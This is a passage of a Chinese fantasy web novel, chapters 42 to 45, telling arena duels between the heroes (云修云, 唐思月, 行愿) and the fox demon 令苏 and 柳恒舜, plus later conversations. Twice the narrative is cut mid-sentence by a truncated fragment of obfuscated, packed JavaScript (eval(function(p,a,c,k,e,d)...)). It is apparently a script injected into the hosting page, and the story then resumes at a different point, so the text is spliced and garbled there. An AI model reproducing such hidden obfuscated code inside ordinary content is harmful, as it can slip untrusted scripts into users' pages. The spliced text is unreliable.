中间有一次,令苏用了三成的妖力,动用了一个大型幻术,本欲将两人一举拿下,却不想几声琴音过后,便被骤然打破。 令苏的脸色第一次变了变,唐思月能够战胜爻池仙,就能证明她对幻术有着一定的克制,可他们白女狐和爻池仙有着本质上的不同,没想到他发动了三成妖力制成的幻术也还是被她如此轻易的打破,还是他轻敌了。 唐思月在琴之一道上可以说是鲜有敌手,之前在与灵儿的对战中,就已经破过她的幻术,虽说不知她用了几成力,可妖族以实力为尊的天性,也足以证明她是白女狐中最强的一个,是以,令苏的幻术就不那么难以破解。 在场下人看来,他们之间的交手就如同疾风骤雨,快的只有残影,根本看不出谁更占上风。 令苏逐渐变得有些不耐,只见他神情不快的眯了眯眼,在一次进攻的间隙中,抓准时机踩了一下司越借力,后翻的过程中,原本没什么存在感的狐尾猛然变大,以千钧之势向云修云抽来! 云修云抬头一看,快步向后退去,同时翻转手腕,握着剑以防御的姿态接下了这一招。 狐尾快速的在剑刃上摩擦而过,没有丝毫柔软的感觉,反而硬如磐石,还带起了星星点点的火花。 云修云紧咬着牙,汗珠顺着他的眉骨滚落下去,脚下坚硬的台面已被他踏出两个深坑,可狐尾却像是无穷无尽一般,根本望不见尽头。 这一击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没问为什么,云修云毫不犹豫的执行,他调虎离山吸引了令苏部分的注意力,抓住机会刺了上去。 剑尖刺进两寸就再也无法动弹,令苏的妖身被他修炼的十分强大,即使是灌输了灵力的法器,也很难将他捅个对穿,即便如此,也似乎让他受了不小的创伤。 只听他闷哼一声,嘴角溢出些鲜血,凶性全然被激发了出来,瞳孔缩成针尖,整个眼睛都被染红了,尖牙利爪也变长了许多,泛着类似于金属的光泽。 他转头怒目看来,下一道攻击马上就跟了过来,云修云迅速回身脱离,退到唐思月身边,听她说道。 “关门穴。” 云修云深知已经不能再拖,调虎离山用在狐狸身上,一次已经足够他们长记性,用第二次坑的只会是自己,于是果断的以左肩被狠抓了一下作为代价,刺中了他的关门穴。 这一下比刚才那下深的多,令苏明显受了不小的刺激,只见他浑身一震,猛的吐出口血来,血落了几滴在云修云脸上,与他的血混在了一起。 “阿云回来!!!” 云修云的思绪已经有些迟钝了,没能迅速反应过来她的话,待他想要后退的时候,却已经太迟。 令苏彻底发了狂,将来之前灵儿交代的不许伤他们性命这件事抛到了脑后,狐尾以诡异的弧度飞快的扭动,表面还泛起了淡淡的光芒,只见他迅速抽向了云修云,正打他的胸膛! 云修云被掀飞出去,重重落到唐思月身后,连点声音都没再发出来。 唐思月心急如焚,立马就要去查看他的情况,却被令苏拦了下来。 他快速的欺身上前,本意想毁了那把琴,可以一爪子划过去,琴弦竟然丝毫未损,干脆也不多做功夫,直接打落了事。 唐思月此时也顾不上心疼琴了,整个人都已经被令苏掐着脖子拎了起来。 令苏歪了歪头,手上逐渐用力,竟是要打定主意要掐死她,唐思月双手紧紧扒着他的手,双腿无力的挣扎,就像是已经毫无抵抗之力的一般。 “啧啧啧,你看我说什么来着?他们之前战胜爻池仙肯定是运气!这不!遇上白女狐,立马就现原形了不是!” “唉!可惜了如此美人!今日就要命丧台上了!” 不止台下众人认为她已经没救了,就连令苏也认为她再掀不起什么波浪。 可就在他放松了些警惕的时候,唐思月一个屈身蹬上了他的胸膛,同时迅速从腰上抽出一把匕首,灌上灵力,毫不犹豫的向着自己的脖颈扎去。 这人疯了不成! 令苏迅速抽回手,唐思月的刀尖在离脖颈只有一寸远的地方停下,令苏本以为她会马上借力翻身,可她根本没做此想,反而卸了力落下来,在极近处又反手用匕首刺向了他的膻中穴! 令苏僵在原地,他知道先前云修云攻击的那两次都是在试探他内丹的所在地,那两处虽说没有他的内丹,可却都是要紧处,难免让他受了不小的内伤,只有膻中是实实在在存有内丹的! 不过幸而唐思月灵力和力道皆有不足,无法完全刺进,不然只这一下,他怕就是要玩完了。 令苏将她震开,怀着后怕的心情,立马就要置她于死地。 唐思月跌坐在地,刚刚那一下,已经用尽了她身上剩下的所有灵力,此时已是无力反抗,看着挥来的利爪,只能双臂交叠挡在面前,紧紧闭上了眼,等待着痛感来临。 “锵————!!!” 随着兵器碰撞的声音在身前响起,唐思月试探着睁开了眼睛。 她整个人都被阴影覆盖着,面前,司越深深插入地面立在那里,为她挡下了这致命一击。 “哈啊、哈......” 她的头顶传来粗重的呼吸,视线上移,剑柄上紧紧握着的是一只血迹斑驳的手,而另一只同样染着鲜血的手,颤抖着,缓慢而坚定的环住了她的肩膀,以绝对保护的姿态将她紧紧按在怀中。 之前被重伤昏迷的云修云竟然在此刻醒了过来! 他半跪在唐思月身后,将她拢在怀中,抬头盯着令苏的眼睛里透露着如暴怒的野狼般凶狠的神色。 他喘着粗气,说话时的声音能明显听出来他的胸腔已经受了很严重的损伤,可他的气势仍然锐不可当,仿如千军万马亦不能让他退缩半分! “谁都、别想在我面前、伤她分毫!!!!” 43. 协济十九 雨终于落了下来,细密的雨雾没能熄灭人们心中的火焰。 他的清醒让原本热闹的场地陷入了一片寂静,众人屏着呼吸,不敢置信的看着台上又一次站起来的少年。 “阿......云......” 唐思月被他箍在怀中,抬头去看他,声音带着细微的颤抖。 听到她的呼唤,云修云的眼睛也没有离开令苏,只是用那只环抱着她的手轻轻蹭了蹭她的脸颊安慰着她,鲜血染红了她的面纱。 “我没事。” 他的声音轻而平和,仿佛身受重伤、伤痕累累的人不是自己一般。 “哈......云修云...我记住你了...你真是,有点儿烦人了!!!” 令苏只惊愕了片刻,就再次面露凶相,他本以为这场比试无需费太大的功夫,可刚刚被唐思月攻击内丹所在处的心悸还残留在他身上,而此刻明明已经不该再站起来的人却又再次站了起来,他受的伤,对面的这两个人,都仿佛在嘲笑着他,这让他如何不恼! 借着这短暂停战的时刻,唐思月迅速摸了一把云修云此时的身体状态,情况要比她想的好上许多,云修云虽然受了伤,但都有意识的保护了自己的要害处,不至于伤到根本。 “阿云,他的内丹在膻中穴,你可以逼自己一把,但不能透支太过,你明白吗?” 云修云身上的伤有几道可以说是深可见骨,换在旁人身上,只怕动起来都有困难,可他偏偏就要拖着这样一副身体去跟人搏斗。 “放心。” 说完这句话,他又再次提剑冲了上去,令苏正等着他来! 之前两人交手,云修云就已经大概将他的攻击习惯摸清楚了,一般来说,人们在打架的时候是不会刻意去观察这个的,他一开始也不会,不过是因为自己的打架习惯不好,老是受伤,所以被父母和云修泽逼着养成了这个习惯,有了这个习惯,就算自己改不了,也能在观察对手的过程中,自然而然的躲掉一些不必要的伤。 令苏到此时妖力也已经消耗了七成左右,看这小子的生命力,说不得还真能拖到他消耗完,所以还是想速战速决。 云修云明白了他的弱点所在,就专门照着那几个地方打,令苏一开始还应付的来,可打着打着,他就觉得自己越来越力不从心,不知什么原因,手脚开始发软,脑袋也开始头晕目眩。 趁着事情还没有进一步恶化,他也顾不上消耗多少,再一次动用尾巴将云修云远远弹开。 他站在擂台的一边,一只手按着脑袋,身形开始不稳。 “这是......怎么回事?” 云修云退回唐思月身边,唐思月将他扶住,又给了他一颗止血的丹药,听到令苏的话,面纱下的嘴角就勾起了一抹笑容,她的声音不大,却足以让人听清。 “令苏公子,难不成你以为只有你们的玉珠姑娘才会下这些小东西吗?我们人族,是讲究礼尚往来的。” 令苏的脸色一下子难看起来,这丫头什么时候给他下的药? 余光中,他瞥见了落在地上的匕首,眼神动了动,莫不成是在刀尖之上? 他扭头去找玉珠,之前和唐思月单独对打的时候,玉珠本以为自己受的伤不重,可没成想,等她开始调息的时候,体内的经脉就开始如针扎一般的痛起来,痛感瞬间就蔓延到了全身,让她几乎无法站立,只能躲到了擂台边。 此刻见令苏中了药,她强忍着疼痛赶到了他的身边,探查之后,就发现这根本就是一种毒,她的毒术不精,虽说药毒不分家,可对于根本不熟悉的毒,她也是实在没有办法在如此短的时间内解开,只能无奈的摇了摇头。 见此,令苏的怒气又攀升了一节,他恶狠狠的瞪着对面的两个人。 身后雪白的长发随着他的怒意缓缓飘动,他在燃烧身上剩下的所有妖力,强大的气场瞬间笼罩了整个擂台,他此时已经顾不得身上的毒素蔓延了,只一心想将两人置于死地! 云修云面色凝重,他能看出来令苏这是想要放手一搏,于是让唐思月退到了擂台边,自己则捏紧了司越,他若放手一搏,自己亦不惧背水一战! 地上令苏的影子逐渐由一个俊朗公子的模样转变为了一只身形优美的巨大狐狸。 白女狐的真身美的不可方物,毛发银白柔软,双眼狭长灵动,眉心还有着一抹金色,将它衬得愈发高贵而凛然,而身上伤口涌出的鲜血非但没能破坏这份美,反而又为他增加了一丝妖异。 此时唐思月的灵力已经耗尽,无法再为他破除幻术,纵然令苏也已经无力在施展强大的幻术,但用来混淆视听的小法术还是手到擒来。 巨大的白色狐狸像一阵烟雾,上一刻还在眼前,下一刻却又化为一缕白烟,等云修云再想找他,就会发现他已经出现在了身后,化为本体后,他的速度又强了不止一星半点。 令苏已经无法支持太久,可云修云同样如此,一人一妖都渴望速战速决,令苏的幻术让云修云愈发的眼花缭乱。 这种低阶的幻术,蒙蔽的始终只是眼睛罢了。 云修云干脆一不做二不休,直接闭上了双眼,开始全神贯注的用其他感官去感受令苏的存在,这么做的后果就是不可避免地又受了些伤,可习惯过后,就渐渐得心应手起来。 唰唰唰! 云修云三剑连出,三剑皆中! 令苏退开了一段距离,身上又增添了三处新伤,虽没伤在要害,却也足够他疼的。 他喘着粗气,又从本体变回了人形,云修云紧追其后,司越的剑尖对准了他的膻中,眼看就要刺中,却被令苏用手拦下。 他的手紧紧握着司越的剑身,鲜血顺着手掌流下,两人此时的灵力和妖力具已耗尽,可谁也不服谁,只能用肉身相持,两人表情凶狠的对视,剑与手都用力到颤抖。 两人就这么僵持了一会儿,司越一点一点的挨近了他的胸膛,就在即将没入的时候,两人却被一股强大的力量瞬间弹开。 云修云被迫往后退了几步,而令苏和玉珠则直接被弹到了台下。 “够了,到此为止。” 顺着声音看去,就见灵儿正站在钟石处,是她替令苏和玉珠认了输。 跌坐在下面的令苏不甘的用手捶了捶地,却也知道是自己的问题,没再抱怨什么。 白女狐的族众马上围了过去,将两人带走医治。 灵儿的表情似笑非笑,冲着唐思月的方向伸着手,扬声道。 “唐姑娘,可否请你将解药给我们?” 唐思月也没有为难,直接扔了个瓶子过去,灵儿一把将它接住,提着嘴角假模假样的笑了笑,带着族众转身离开。 看台上瞬间爆发出了热烈的欢呼声,一声一声的叫着第七洲、叫着云修云的名字。 下注的地方更是热火朝天,时不时还有个子娇小的被挤出来。 听着四面八方传来的呐喊,云修云迟钝的站在擂台中央,自言自语的念道。 “我们赢了?” “对,我们赢了。” 唐思月走到他身边,碰了碰他胳膊上没有受伤的地方示意他回神,听到他的话,就忍不住笑起来,告诉他他们真的赢了! “哈哈......我们赢了......” 云修云这才像是一点一点的反应过来,迟缓的露出笑容,在唐思月还没有反应过来的时候,就一把掐住她的腰,直接将她举了起来,他一边抱着她的腿弯一边转来转去,大声笑道。 “哈哈哈哈哈哈哈哈!!!!!我们赢了!!!!!思月!!!!!我们赢了!!!!!!!哈哈哈哈哈哈哈!!!” 唐思月被他吓了一跳,整个人猝不及防被举到空中,心跳骤然加快,看着他笑的那么开心,也跟着一起开怀的笑起来。 阴云不知何时已经悄悄散去,阳光重新洒落,将这一方照亮。 此时,这座为了争夺而建的擂台,成了他们这段柔软而意气风发的记忆底色。 等云修云将唐思月放下来的时候,云修泽三人就已经围了过来。 云修泽一把揽住云修云的肩膀晃了晃。 “好小子!不错!!!” 听到大哥的夸奖,云修云倒是不像刚才一样了,只露出了有些憨头憨脑的笑容。 唐思月接过行愿递过来的琴,又被他披了件厚实的斗篷,她有些疼惜的摸了摸琴,笑道。 “快别晃他了,他受的伤可不算轻,赶紧回去,让我给他仔细看看吧。” 见云修泽还有些兴奋,明青就过去将他拎开。 看台上,一个男子目送着他们离开,旁边的人注意到便说。 “少主,我们都看了他们好几场了,除了还有个女的没下过场,其他的都看了一遍,也差不多都了解了,不用太担心吧?” “哦?” 坐在前面的男子‘啪’的一声打开了折扇,将扇面的边缘抵在了鼻尖处,闷笑着问道。 “那你觉得,这两场二对二中,他们为什么都能取得胜利?” 那人不解:“自然是因为那个叫行愿的和云修云都很强啊。” “那唐思月呢?” 他挠了挠头:“辅攻的作用当然很大,可是没了她,他们想要获胜,也只是要多费一些功夫吧。” 男子摇了摇头,轻摇着折扇,意味深长的说道。 “不,你错了,获胜的关键,其实在她身上。” “啊?怎么说?” “她的琴音不可小觑,看似没什么存在感,可实际上每次都能以弱博强,在最关键的时候打乱对方的节奏。前日她与行愿还说得上是互相配合,今日队友换成了云修云,你有没有发现,这场比试,其实从始至终,都是她在主动 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“唉!你是当妹妹的,哪里懂兄长的心呢,青玉从小到大,看着都是一副没心没肺没心眼的样子,可实际上也是有自己的心思的,只不过还是有些孩子气,这件事过后,虽说没有完全成熟,可也是有了不小的进步吧。” 明青默默不语,兄长的心?那若是有朝一日,她能找到哥哥,哥哥是否也会欣慰于她的成长呢? 两人到亭子里坐了会儿,又说了说白女狐和万春夏的事情,直到日头西斜,才又挪步去了唐思月的院子。 他们到的时候,行愿正坐在院子里拿着把扇子煎药,唐思月躺在美人榻上欲睡不睡的看着,倒是很安静融洽。 “思月。”明青轻声叫了一句。 见他们来了,唐思月也没有起身,只是回头笑道。 “你们来了,坐吧,桌上有茶水果子,你们自己弄,我就不起身了。” 两人坐到石桌边。 云修泽说:“躺着就是。” 唐思月:“怎么突然过来了?可是阿云有什么异样吗?” 云修泽摇了摇头。 “他好的很,我比较不放心你,行大哥煎什么药呢?” 唐思月还是撑着身子坐了起来,面上有些掩不住的倦意。 “没什么,不过是日常调理、养身补气的罢了,你们也不用担心我,我只是今日有些累了,休息休息便是。” 这一场云修云将她保护的很好,并未让她受伤,更何况还有明日一整天可以休息。 她这么说,云修泽也放下了一些心。 “既如此,明日你就不要再操劳旁的了,好好歇着。” “嗯。”唐思月颔首,又笑起来打趣道。 “足够我歇了,现下我们已经赢了两场,说不得后日还能赢下第三场,到时候,剩下的两场就随你们挥霍了。” 云修泽笑起来。 “那感情才好呢,这次来也是想提醒你一下,那个万春夏后来我们又去打探了,关于他们的消息,干净的有些不正常,这名字不算普通,按理说就算再名不见经传,多多少少也是会给人留下点印象的,可偏偏什么都没有。” 明青接过话:“有意为之。” “不错。”云修泽正色道,“这只能说明他们是刻意在隐藏自己的消息,你们要小心,他们应该也不简单。” 行愿手上的动作没有停,听到这话,也只是点了点头,没有说什么。 明青又叮嘱道:“身体为重,量力而行。” “好。”唐思月垂下眼眸,“我知道了。” 太阳东升西落,天色由暗到明,一日的时间似乎在片刻间消散。 唐思月已经休息的差不多了,此时的状态也算良好。 这次云修云没有一同前来,他尚且只能卧床,无奈只能在他们临走前,哭丧着脸要他们小心。 唐思月和行愿在众多的擂台中找到了他们这次的擂台。 和之前不同,这次的对手比他们先行一步。 擂台之上,已经有两个年轻男子站在了那里,只不过站在前面的那个,不知为何一直背对着他们。 唐思月心中划过一丝狐疑。 两人一前一后的站上去,按照规矩开始报名。 “第七洲,行愿。” “第七洲,唐思月。” 对面那个正对着他们少年的气质看上去和云修云有些相像,只不过似乎更加桀骜一些。 唐思月看着那个背对着他们的男子的背影,总觉得有些说不上来的熟悉,她的眼眸闪了闪,随即开口试探道。 “这位公子,可是故友?” 一声若有若无的轻笑响起,随着‘啪’的一声,男子持扇转过身来,露出一双含着笑意的眼睛。 “思月姑娘慧眼如炬,伯言感佩万分,向若而叹啊。” 44. 协济二十 “竟是柳伯言这厮?” 云修泽无奈叹气,他们对彼此都了解的很,亏他之前还担心过万春夏隐藏身份是别有用心,现在看来,也就是他坏心眼,故意逗他们玩。 万春夏,万春夏,柳生春夏,竟还给了个隐晦的提示,真是有够无聊的。 明青觉得有些耳熟,但一时间想不起来是谁。 “是谁?” 云修泽靠坐着,回道。 “我表兄,之前往山上送信那个,当时我们能混进昆天谷,也是多亏了他,可记起来了?” 明青想起来了,他给云修泽送了封信,有一大半儿都是在骂他,她当时还觉得很有意思来着。 云修泽托着腮,面无表情的想,柳恒舜既然来了,就算二对二碰不着,最后也一定会碰上,他虽风流,却不是草包,若此次带的全是嫡系子弟,整体实力恐怕要比四族还要强上三分。 明青依旧戴着帷帽,透过柔和的白纱,她能看到云修泽的小半张侧脸,风扬起了些许碎发,他一动不动,看上去莫名有些孤独感,似乎完全沉浸在了自己的世界。 在明青自己反应过来之前,她的手就已经握在了云修泽托腮的那只手的手腕上。 云修泽惊讶的回过头来,他今日带了护腕,触感生凉,明青反应过来后,却觉得有些烫手,指尖一松,想要将手收回来。 即使知道云修泽看不见,明青也不敢去看他的眼睛,明明没什么,可就是耳尖发烫,莫名感到些许羞赧。 明青顿了顿,本应收回来的手却已经被松松牵住。 那只手指节分明,因为常年握剑而生了些茧,拇指在她的手背上轻轻摩挲了一下,带来细微的痒意。 “怎么了?”云修泽笑的温柔,露出了和刚才截然不同的样子。 他的力度很轻,若明青想要抽离,轻而易举便可做到,可她却像是被施了定身咒,指尖蜷缩了一下,就再也动不了了。 “没......” 明青不知道该说些什么,于是僵硬的开始打岔。 “这场能赢吗?” 云修泽轻轻挑眉,没有追问,也没有放开。 他牵着她的手放下来,两人的指尖交叠,谁都没有提出异议。 “难。”云修泽果断的说道。 明青有些惊讶于他的果断,但面上没有显露。 “行大哥和思月皆不是易与之辈。” 云修泽微叹。 “我如何不知,罢,且看就是。” 擂台之上早已开打,和柳恒舜一同上来的那个少年名叫木寻,唐思月和行愿都曾在清秋道见过他,那时的他跟一众柳家子弟待在一起,对比下来显得很是安静,瞧着应是个内敛的人,此时打起来,却意外的十分暴烈。 他使的是一根泛着乌冷光泽的长棍,造型简单,但是至少重逾百斤,每每灌输灵力用力砸下,都会在台面上留下一个深坑,可想而知,若是结结实实砸到人的身上会造成什么样的伤势。 柳恒舜则是用的折扇,翩翩公子的形象树立的十分成功。 行愿最难对付的一点,就是他的‘痕迹’很浅。 你若想跟他对打,就必须全神贯注在他的身上,否则稍一晃神,你就会失去他的踪迹,而只要唐思月在他身后,想要如此高度的集中注意,就是空谈。 木寻就是陷入了这样一个怪圈,他试图拖住行愿,让柳恒舜先一步去解决唐思月,然后再来合力对付他。 之前在场下时,看的倒是真切,觉得也没什么大不了,可真当自己成为他的对手时,就会发觉他究竟有多难缠。 木寻身上已经有了几处刀伤,而他甚至还没有挨到行愿半分,反而还让他有余力去阻挡柳恒舜。 眼看着木寻被对面两个人犹如猫捉耗子一般的逗弄,柳恒舜心中叹了口气,知道自己还是低估了行愿,只能临时改变策略,两人一起将他拖住,见缝插针的再去解决唐思月。 柳恒舜手腕一抖,扇的边缘就齐齐冒出了一排锋利的齿刃,反手一甩,扇子就旋转着,以一个半圆的轨迹飞了出去。 甩扇的同时,柳恒舜迅速欺身来到了行愿面前,一个拧腰就踢了上去。 行愿提膝与他对撞,空中侧翻旋转的同时躲开了上方木寻的长棍。 落地的下一瞬,两人就齐齐被唐思月的琴音弹了出去。 行愿右耳微动,察觉到异样的风流时已是躲之不及,只来得及侧身用刀身别了一下。 那把扇子回旋而过,在行愿的颈侧留下了一道血痕,随即就重新被柳恒舜捏在了手中。 木寻换手挽棍,再次冲了上去。 行愿见他的起势,以为他是由上而来,却不成想是个假象。 木寻在他的身侧贴地滑过,真正的目标其实是他身后的唐思月。 行愿目光一凌,刚想去拦他,自己就被柳恒舜拦了下来。 扇面抵住刀身,他的声音轻松。 “哎,行愿兄弟不急,且先与我过上两招。” 木寻棍法极重,并不是唐思月可以轻松抵挡的,行愿哪里肯让他接近,可自己偏偏又被拦了下来。 柳恒舜只觉得眼前一乱,手腕一痛,本来捏着的扇子就不知怎么的被挑飞出去,直接就落在了擂台之下。 柳恒舜提起一侧嘴角,挑了挑眉,眼见着行愿放弃了这大好反攻的机会,飞快的去到唐思月身前将木寻拦了下来。 真是有意思。 木寻退回到柳恒舜身边,唐思月看了一眼台下的扇子,说道。 “柳公子武器已失,还要继续打下去吗?” 柳恒舜摇了摇头,说出的话却截然相反。 “这是自然,莫不成思月姑娘真的以为,我练的,是那把只称得上玩物的扇子吗?” 说罢,他的右手五指张开,随着他手臂摆动的动作,一柄通体玄黑的长枪出现在他的手中。 那枪每每舞动之时,便伴有破空的声音,隐隐还可听见龙吟虎啸,随着‘锵’的一声,长枪落地,立在他的身侧,肃杀冲啸之感扑面而来。 柳恒舜整个人的气质也随着这把枪的出现变得截然不同,若说刚才是翩翩公子,温柔风流,此刻,便犹如千军万马的鬼将,只有‘杀’之一字可入他的脑中! 看到这柄长枪,云修泽的眼底暗了暗。 柳家包容万象,子弟修习的武器种类也是样式繁多,但只有达到了家族规定的境界之后才可出来行走,柳恒舜作为少主更是其中翘楚,前几年自己与他切磋时,一旦他拿出这柄长枪,云修泽自己也会是输多赢少,只是不知他如今到了哪种境地。 这柄长枪给唐思月和行愿的感觉都很不妙,两人具是提高了警惕,心知这才是刚刚开始。 柳恒舜用那柄枪用的十分得心应手,整个人展现出来的实力跟刚才根本不是一个层级,数次都险些打落行愿手中的刀,逼得他无法再分出更多的精力给到木寻。 唐思月开始奏曲,这是她第一次在擂台上用琴曲的方式对敌。 四面八方的琴音将木寻困在原地,无法施展身法之后,长棍就变得笨重起来。 两人一时之间倒是也不能拿对方如何。 见此,行愿也放心的专心开始对付柳恒舜。 不过他似乎并不怎么耗费灵力,只有在攻击切实落到他身上的时候,才会将灵力灌输进来。 这种对于灵力细微的操控是很难修炼的,若灵力不稳定,分布不均,反而会削弱原本的攻击,可柳恒舜看上去倒是深谙此道。 他的进攻给了行愿很大的压力,渐渐的身上就多了不少的伤口,虽说他也伤到了柳恒舜,但都是皮肉伤,就算深些,疼些,对于他们这种人来说也起不到什么作用。 “噗!” 行愿被他击退,猛的吐出口血来。 柳恒舜乘胜追击,枪尖直捅向行愿的右肩胛,此击若中,必然就是贯穿伤,会让他无力再战。 破空的声响戛然而止,枪尖在唐思月眉心处停下。 不知何时,木寻已经晕倒在地,柳恒舜和行愿谁都没注意到是怎么回事。 唐思月的灵力也已耗尽,琴被放在地上,而她双手张开,以保护的姿态站到了行愿面前。 行愿大惊,柳恒舜则发出意味不明的两声哼笑。 “思月姑娘,是在赌我不忍心对你下手吗?” 说罢,没等唐思月回答,他就以她反应不过来的速度上前两步,要用枪身重击她的背部,这一下,足够让她失去意识。 唐思月刚刚张了张嘴,就觉得身体一下子被抱紧,身后传来闷哼。 是行愿替她挡下了这道攻击。 两人因为这强劲的力道被迫在地上滚了几圈儿,好险在擂台的边缘停下。 可面具里传来行愿闷声咳嗽的声音,他的右肩在刚刚翻滚的过程中,为了保护唐思月也已经脱臼。 ‘刷’的一声,柳恒舜单手持枪,枪尖对着他们,他的影子将两人笼罩。 唐思月自下而上的看着他,因为背光而看不清他的表情,她听见他说。 “可惜了,若是让我那好弟弟来,或许还有些胜算。” * 今晚,明月斜挂。 唐思月在沁园中漫无目的的散步,想着,今日这场是输了,不过好在已经赢了两场,行愿也受了些伤,傍晚给他看过后,就已令他不许再跟着,好好休养。 她独自一人,怀着种种心思,也没有注意周边环境的变化,不知何时就来到了一个僻静处。 这里连负责扫洒打理的小厮女使都见不到,不过景色倒是很不错。 湖面波光粼粼,上面还飘着些季末的睡莲,石桥也建的秀美,偶尔还能听见鱼儿跳跃的叮咚水声。 唐思月在这里静静坐了一会儿,这里虽美,却也算不上世所罕见,她的思绪放空,心中也说不上来是什么感觉,也许还是不习惯独自一人。 唐思月轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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唐思月看了他一会儿,将琴抱起来,开口道。 “我记得柳公子不善饮酒,还是不要再喝了,免得醉糊涂了,将梦当了真,说起梦话来。” 说完,她就伏了伏身,转头离开了这里。 看着她离去的背影,柳恒舜仰头灌酒,来不及入口的便顺着他的唇角流下,最终没入到了衣领之中。 直到她如梦一般的身影彻底消失,他才收回了视线,出神的看着酒壶,喃喃的自言自语道。 “你不知道...醉的糊涂......方才梦的清楚......” 一颗石子飞来,打在了他拿着酒壶的手上,酒壶飞出去,落在地上,霎时就摔了个四分五裂。 “啊,这可是我最喜欢的冰夜,就这么浪费了......” “你醉死在这里我可不管你。” 云修泽不知什么时候出现,正抱臂倚在他躺的这棵树下。 他从玉佩里摸出一只鬼玉兰,晃了晃问道。 “你搞的鬼?” 柳恒舜嗤笑:“你竟然还留着?真是有够拈酸吃醋的。” 云修泽将那只鬼玉兰扔到他身上。 “你真是闲的没事儿干,字是怎么回事?我认得你的字,那不是你写的。” 柳恒舜捏起那只鬼玉兰。 “自然不是我写的,让你认出来可就不好玩了。” 云修泽不再搭他的腔,转口问道。 “你来做什么?” “唉!”柳恒舜叹了一口气。 “这不是紧巴巴的赶着过来跟你碰个头嘛,省的开你个玩笑被你个小心眼儿的记上,之后跟我玩阴的坑我。” “我可不会。”云修泽睁着眼说瞎话,柳恒舜都懒得再去列举他小时候的各种壮举。 “你们为什么来?” 酒也摔了,没得喝了,柳恒舜干脆整个人都躺了下去,语气疏懒的说道。 “这届子弟在家中练的差不多了,正好赶上,带他们出来比划比划,我也顺便透透气儿。” “不想夺魁?” 如果说他没有一点儿夺魁的心思,云修泽是不信的。 柳恒舜拉长调子嗯了一声,说道。 “顺其自然吧,我看也不是都很能打的样子。” 云修泽哂笑,这回答实在是意料之中,嚣张的很。 “行了,没事儿就滚吧。” “你滚,你滚,我再躺会儿。” 云修泽无奈。 “夜里风凉,你又是个醉鬼,我倒要看看明日晨起你会不会头痛。” 柳恒舜看也不看的向树下摆摆手。 “多谢关心,好走不送。” 云修泽叹了口气,干脆不再管他。 树上的柳恒舜眯眼看着月亮。 美人尽如月,可望不可及啊...... 45. 协济二十一 从二对二开始到现在,他们打了三场,赢了两场,已经是极高的胜率了,在参赛队伍中也是极显眼的存在,现在正有无数双暗中的眼睛在盯着他们的下一个举动。 就像是云修泽他们会去观察其他的对手一样,同样也有人在观望着他们,大比到了这个阶段,就很少会有人再相互走动,大家心照不宣。 本来应该是这样的,可今日沁园却还是迎来了两位客人。 灵儿摘下帷帽,露出她伪装成人类后的模样。 在她身后随她而来的男子则摘下了面具,黑发黑眸,不是别人,正是那日云修云和唐思月对战过的令苏。 令人惊奇的是,他不过是换了头发和眼睛的颜色,整只妖给人的感觉立马就变了,比起他原本的模样,现在笑起来,倒更像是一个文弱书生,十分的纯然无害。 他的到来让云修云眯起了眼睛,散发出一丝敌意。 云修泽的表情虽然没有变化,但手上的动作却微不可查的顿了一下。 “灵族长,令公子,今日过来,可是有什么要事相商?” 灵儿丝毫不在乎他们表现出的微妙的疏离,十分自在的坐到了明青的身边,也许是因为今天令苏跟在身边,所以也端着些族长的架子,没有贴到明青身上去,但也还是很不客气的招呼令苏道。 “令苏,来坐。” 令苏从进来见到明青和唐思月开始,眼睛就没有离开过她们,有些呆滞的想。 这又是何等美人?怎么就不是他们白女狐族的呢?不然就是死缠烂打,他也会求一个来做伴侣的。 唐思月那天带着面纱,也幸亏是带着面纱,不然若是以真容上去,令苏可就不敢确定自己还能不能下手了,毕竟,白女狐族喜爱好颜已经到了妖尽皆知的地步。 他的笑容从摘下面具后就没有变过,此时得了族长召唤,就挪开了眼睛走到石凳前,冲几人点了点头。 “打扰了。” 说完,也跟着坐了下来。 有点礼貌,但不多。 云修泽无语,只得再问了一遍。 “族长有何贵干?” 灵儿抿了一口茶,像是十分不喜这茶的味道一般,苦着一张脸艰难的咽了下去,就将茶杯放回去推到了明青那边。 “其实也没什么,不过是那日闹得有些不愉快,令苏颇有些冲动了,带他来向你们道个不是。” 她说完,令苏就站起来,冲云修云和唐思月抱拳,微微鞠了个躬,声音温和有礼,全然看不出那日的狠辣决绝。 “是令苏学艺不精,没能控制好自己,莽撞了二位,还望二位不要放在心上。” 唐思月没说什么,云修云则拧起了眉头。 “道歉就免了,毕竟是生死擂台,也说不上对与错。” “好吧。” 听他的话,令苏也干脆的应下来,动作麻利的又重新坐下了。 有点诚意,但也不多。 面对他的果断,云修云无言以对,下巴动了动,不知该做什么表情,去看灵儿,发现她也有些无奈。 灵儿本还想再说些什么,却被明青开口制止。 “生死擂台,无关你我的交情,这便够了。” 灵儿迟疑了一下,在她看来,明青是朋友,生死擂台本该也只是玩闹切磋,更何况她还叮嘱过不许下狠手,虽然最后令苏也吃了亏,但也是他先挑起,现在走个过场般的和解,她实在是不想认同,但明青都这么说了,灵儿也只能点头。 “你明日就要对上九乙木了,他们那个少主只怕也会亲自下场,你可事先有什么打算吗?” 明青双眼一抬,看着她。 “这件事,你是怎么知道的?” 灵儿笑起来,微眯的眼睛神很有几分狐狸的模样。 “四大妖族互通有无,我不只知道你这场要对战九乙木,我还知道你的第五场,要对战雾面影。” “既如此。”云修泽插话,“你又如何知道,上场的一定会是明青?” “这还不简单。” 灵儿耸了耸肩。 “小云弟弟和这位行愿身上都有伤,虽说还能上场,但也要看对手是谁,至于唐姑娘,她的身体应该,已经撑不住了吧?” 那边正在低声说话的唐思月一顿,抬眼看来,与她笑眯眯的眼睛对上,两人停了一会儿,唐思月去看云修泽,见他轻轻摇了摇头,于是就对灵儿笑了笑,没说什么,又将头转了过去。 唐思月没有肯定她的话,却也没有否认。 